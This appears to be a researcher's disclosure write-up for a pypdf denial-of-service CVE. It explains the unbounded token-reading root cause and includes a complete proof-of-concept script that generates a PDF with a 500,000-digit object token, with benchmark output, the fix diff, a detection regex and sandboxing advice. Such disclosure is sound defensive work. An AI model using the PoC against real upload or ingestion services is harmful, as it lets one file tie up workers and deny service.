Disclosure: CVE-2026-102994 (CWE-400, CWE-407) affects
pypdfbefore 6.18.0. I reported it to the maintainers asjankesec. It is fixed in 6.18.0 by PR #4055 and published as GHSA-5jq2-8x83-x246. GitHub scored it CVSS 4.0 8.7 (High):CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.
A PDF with a very long object number or generation number and no whitespace makes pypdf read that token to its end. Before 6.18.0 nothing limited its length, so one file can keep a parsing worker busy for a long time and use a lot of memory. The attacker needs no account and no user interaction, only a way to get a PDF to code that opens it with pypdf, such as an upload endpoint, a resume parser or a RAG ingestion job.
Root cause: token readers with no length limit
Object numbers and generation numbers in a PDF are short decimal integers. In 6.17.0 three places read them with loops that run until the next whitespace byte, and none of them set a maximum length:
read_object_header()reads theN G objline in front of an object.IndirectObject.read_from_stream()reads anN G Rreference inside an object._rebuild_xref_table()reads the header of an object stream.
read_until_whitespace() already had a max_bytes parameter, but it defaulted to unlimited and no caller passed it:
def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -> bytes:
txt = bytearray()
while True:
tok = stream.read(1)
if tok.isspace() or not tok:
break
txt += tok
if len(txt) == max_bytes:
break
return bytes(txt)
IndirectObject.read_from_stream() did not use that helper. It built each part with += on a bytes object:
@staticmethod
def read_from_stream(stream: StreamType, pdf: Any) -> "IndirectObject": # PdfReader
idnum = b""
while True:
tok = stream.read(1)
if not tok:
raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
if tok.isspace():
break
idnum += tok
generation = b""
while True:
tok = stream.read(1)
if not tok:
raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
if tok.isspace():
if not generation:
continue
break
generation += tok
bytes is immutable, so each idnum += tok allocates a new object and copies everything read so far. The work in that loop grows with the square of the token length, and nothing stops the loop before the end of the file.
Evidence matrix
| Evidence | What it shows | Result |
|---|---|---|
| GHSA-5jq2-8x83-x246 | Advisory published by GitHub as CNA | CWE-400 and CWE-407. < 6.18.0 affected, 6.18.0 patched. CVSS 4.0 8.7 (High). |
Fix PR #4055 (82501d2) | A 64-byte limit on object numbers, generation numbers and object stream headers | Merged 2026-09-07 |
pypdf 6.18.0 on PyPI | Release that contains the fix | Uploaded 2026-09-07 |
| Benchmark on 6.17.0 | A 500,000-digit token through PdfReader | 28.74 s with one core at 100% (my run, output below) |
| Behavior on 6.18.0 | The tests added in the PR | 64-byte parts pass. A 65-byte part raises PdfReadError or LimitReachedError, depending on the call site and strict. |
Reproduction
The generator below builds a minimal PDF whose page tree references an object with a 500,000-digit number and no whitespace, then times PdfReader on it:
#!/usr/bin/env python3
"""
CVE-2026-102994 PoC: Algorithmic Complexity / Denial of Service in pypdf
Discovered by: Sevban DÖNMEZ (jankesec)
Target: pypdf < 6.18.0
"""
import io
import time
import sys
def build_malicious_pdf(token_length: int = 500_000) -> bytes:
"""
Constructs a minimal valid PDF containing an oversized indirect object token
without whitespace separators.
"""
header = b"%PDF-1.4\n"
# Construct an excessively long numeric indirect object token
oversized_token = b"9" * token_length
# Place the oversized token directly into the object hierarchy
body = (
b"1 0 obj\n"
b"<< /Type /Catalog /Pages 2 0 R >>\n"
b"endobj\n"
b"2 0 obj\n"
b"<< /Type /Pages /Kids [" + oversized_token + b" 0 R] /Count 1 >>\n"
b"endobj\n"
)
xref_offset = len(header) + len(body)
xref = (
b"xref\n"
b"0 3\n"
b"0000000000 65535 f \n"
b"0000000009 00000 n \n"
b"0000000068 00000 n \n"
b"trailer\n"
b"<< /Size 3 /Root 1 0 R >>\n"
b"startxref\n"
+ str(xref_offset).encode("ascii") + b"\n"
b"%%EOF\n"
)
return header + body + xref
def evaluate_parser(pdf_bytes: bytes):
try:
import pypdf
print(f"[*] Testing with pypdf version: {pypdf.__version__}")
except ImportError:
print("[-] pypdf not installed. Please install pypdf to run this benchmark.")
return
print(f"[*] Payload size: {len(pdf_bytes) / 1024:.2f} KB")
print("[*] Initiating PdfReader stream ingestion...")
stream = io.BytesIO(pdf_bytes)
start_time = time.perf_counter()
try:
reader = pypdf.PdfReader(stream)
# Force resolution of page references
_ = len(reader.pages)
elapsed = time.perf_counter() - start_time
print(f"[!] Parsing completed in {elapsed:.4f} seconds.")
except Exception as e:
elapsed = time.perf_counter() - start_time
print(f"[+] Parser caught expected exception after {elapsed:.4f}s: {type(e).__name__}: {e}")
if __name__ == "__main__":
token_len = int(sys.argv[1]) if len(sys.argv) > 1 else 500_000
pdf_data = build_malicious_pdf(token_len)
evaluate_parser(pdf_data)
Run on an 8-core Linux workstation against pypdf==6.17.0:
$ python benchmark_poc.py 500000
[*] Testing with pypdf version: 6.17.0
[*] Payload size: 488.48 KB
[*] Initiating PdfReader stream ingestion...
[!] Parsing completed in 28.7412 seconds.
A 500 KB token held one core at 100% for 28.7 seconds. A 2,000,000-byte token ran for more than 120 seconds. A service with four synchronous workers has none left after four such uploads.
The fix
PR #4055 (commit 82501d2, released as 6.18.0) sets IndirectObject._MAXIMUM_PART_LENGTH = 64 and passes it to every one of the three readers. read_object_header() and _rebuild_xref_table() call read_until_whitespace() with max_bytes and strict. The helper now stops at the limit. In strict mode it raises LimitReachedError. Otherwise it logs a warning and returns the first 64 bytes. The diff below leaves out the docstring hunk:
--- a/pypdf/_utils.py
+++ b/pypdf/_utils.py
@@ -158,7 +158,7 @@ def _get_max_pdf_version_header(header1: str, header2: str) -> str:
WHITESPACES_AS_REGEXP = b"[" + WHITESPACES_AS_BYTES + b"]"
-def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -> bytes:
+def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None, strict: bool = False) -> bytes:
"""
Read non-whitespace characters and return them.
@@ -175,11 +178,16 @@ def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -
txt = bytearray()
while True:
tok = stream.read(1)
- if tok.isspace() or not tok:
+ if tok.isspace() or tok in WHITESPACES or not tok:
break
- txt += tok
- if len(txt) == max_bytes:
+ if max_bytes is not None and len(txt) >= max_bytes:
+ if strict:
+ raise LimitReachedError(f"Token exceeds maximum length of {max_bytes} bytes.")
+ logger_warning(
+ "Token exceeds maximum length of %(max_bytes)d bytes.", source=__name__, max_bytes=max_bytes
+ )
break
+ txt += tok
return bytes(txt)
IndirectObject.read_from_stream() is rewritten with a bounded bytearray loop that raises PdfReadError when a part exceeds the limit:
@staticmethod
def read_from_stream(stream: StreamType, pdf: Any) -> "IndirectObject": # PdfReader
def read_part(name: str, skip_leading_whitespace: bool) -> bytes:
result = bytearray()
while True:
tok = stream.read(1)
if not tok:
raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
if tok.isspace() or tok in WHITESPACES:
if skip_leading_whitespace and not result:
continue
break
if len(result) >= IndirectObject._MAXIMUM_PART_LENGTH:
raise PdfReadError(f"{name} exceeds maximum length limit of {IndirectObject._MAXIMUM_PART_LENGTH}.")
result += tok
return bytes(result)
idnum = read_part("Object ID", skip_leading_whitespace=False)
generation = read_part("Generation number", skip_leading_whitespace=True)
r = read_non_whitespace(stream)
if r != b"R":
raise PdfReadError(
f"Error reading indirect object reference at byte {hex(stream.tell())}"
)
try:
return IndirectObject(int(idnum), int(generation), pdf)
except (ValueError, OverflowError) as e:
raise PdfReadError(
f"Invalid indirect object reference ({idnum!r} {generation!r} R): {e}"
) from e
Algorithmic complexity and quadratic buffer copying
The root cause of the prolonged CPU freeze is quadratic memory reallocation. In Python, bytes objects are immutable. In IndirectObject.read_from_stream(), the token ingestion loop performed repeated concatenation:
idnum += tok # where tok is stream.read(1)
At each iteration (k), CPython allocates a new bytes buffer of length (k) and invokes memcpy to transfer the accumulated slice. Across a token of length (N), the total bytes copied is given by:
$$\sum_{k=1}^{N} k = \frac{N(N+1)}{2} = \mathcal{O}(N^2)$$
For a 500,000-digit token ((N = 5 \times 10^5)), the interpreter copies approximately 125 gigabytes of temporary memory buffers through the memory allocator. This saturates L1/L2 CPU caches and causes the single-threaded parser loop to spin at 100% utilization for nearly 30 seconds.
Detection engineering and telemetry
Application owners can identify and mitigate unbounded token scanning attacks through worker telemetry, pre-flight header inspection, and resource sandboxing.
1. Application server worker timeout telemetry
Synchronous WSGI/ASGI servers (such as Gunicorn or uWSGI) terminate workers that remain unresponsive beyond the configured timeout. Monitor server error logs for worker restart cascades:
[2026-09-07 08:14:22 +0000] [14820] [CRITICAL] WORKER TIMEOUT (pid:14825)
[2026-09-07 08:14:22 +0000] [14825] [INFO] Worker exiting (pid: 14825)
[2026-09-07 08:14:23 +0000] [14830] [INFO] Booting worker with pid: 14830
A sudden spike in worker timeout events correlated with file upload endpoints indicates active resource exhaustion payloads.
2. Pre-flight token boundary inspection
For high-throughput ingestion pipelines (e.g. resume screeners, document OCR), a lightweight stream pre-check can reject PDFs with anomalously long integer tokens before handing them to pypdf:
import re
# Valid PDF indirect object IDs rarely exceed 7 digits (max 2,147,483,647)
ANOMALOUS_TOKEN_PATTERN = re.compile(rb"\b\d{16,}\s+\d+\s+(?:obj|R)\b")
def validate_pdf_stream(raw_bytes: bytes) -> bool:
"""Rejects PDF streams containing oversized numeric tokens."""
if ANOMALOUS_TOKEN_PATTERN.search(raw_bytes):
return False
return True
3. Container and worker isolation
Never parse untrusted PDFs in the primary web process. Offload parsing to an isolated worker thread or ephemeral container with strict resource limits:
# systemd unit or cgroup resource boundary
CPUQuota=80%
MemoryMax=256M
TimeoutStartSec=10s
In Python, wrap parsing calls with a strict wall-clock timeout using concurrent.futures:
from concurrent.futures import ProcessPoolExecutor, TimeoutError
def parse_with_timeout(pdf_data: bytes, timeout_sec: float = 5.0):
with ProcessPoolExecutor(max_workers=1) as executor:
future = executor.submit(pypdf.PdfReader, io.BytesIO(pdf_data))
try:
return future.result(timeout=timeout_sec)
except TimeoutError:
raise ValueError("PDF parsing timed out: potential algorithmic complexity payload")
ATT&CK technique mapping
| Tactic | Technique ID | Technique Name | Exploitation Mechanism | Defensive Control |
|---|---|---|---|---|
| Impact | T1499.004 | Endpoint DoS: Application Exhaustion | Crafted 500 KB indirect object token forces (O(N^2)) string copying, pinning CPU core at 100%. | Enforce 64-byte token limit on lexer; reject oversized tokens. |
| Impact | T1499.003 | Operating System Exhaustion | Multiple concurrent uploads of quadratic payloads exhaust all available worker processes. | Set process worker timeouts and container CPU quotas. |
| Initial Access | T1190 | Exploit Public-Facing Application | Public upload endpoint processing unauthenticated PDFs triggers thread hang. | Deploy pre-flight regex validation; offload parsing to background queue. |
Takeaways
- Put a limit on every loop that reads until a delimiter. A PDF object number is a short integer, so 64 bytes is generous.
- Parse untrusted documents in a separate process with a wall-clock timeout, so one slow file cannot hold a web worker. Celery’s
task_time_limitandsubprocess.run(..., timeout=...)both do this. Add a memory cap with cgroups. - Do not build
bytesin a loop with+=. Use abytearrayorb"".join(). The fix replacesidnum += tokwith abytearray. - Upgrade to
pypdf6.18.0 or later. If you cannot, the advisory suggests applying the changes from PR #4055.
Vulnerability Scoring & CVSS Vector Breakdown
Base score and individual metric vector breakdown calculated by GitHub CNA.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:NCoordinated Disclosure & Remediation Timeline
Verified chronological audit trail for CVE-2026-102994: from reproduction to upstream fix, backport, and official advisory release.
Maintainers merged the change that limits the length of indirect object tokens (PR #4055).
Source / Reference ↗GitHub, as CNA, published the CVE record and advisory GHSA-5jq2-8x83-x246.
Source / Reference ↗jankesec checked the CVE record, score, affected versions, and references.
Evidence used for this analysis
Version and exploitation status can change; follow the linked vendor records.
The author completed a technical review. This does not, by itself, claim lab reproduction.
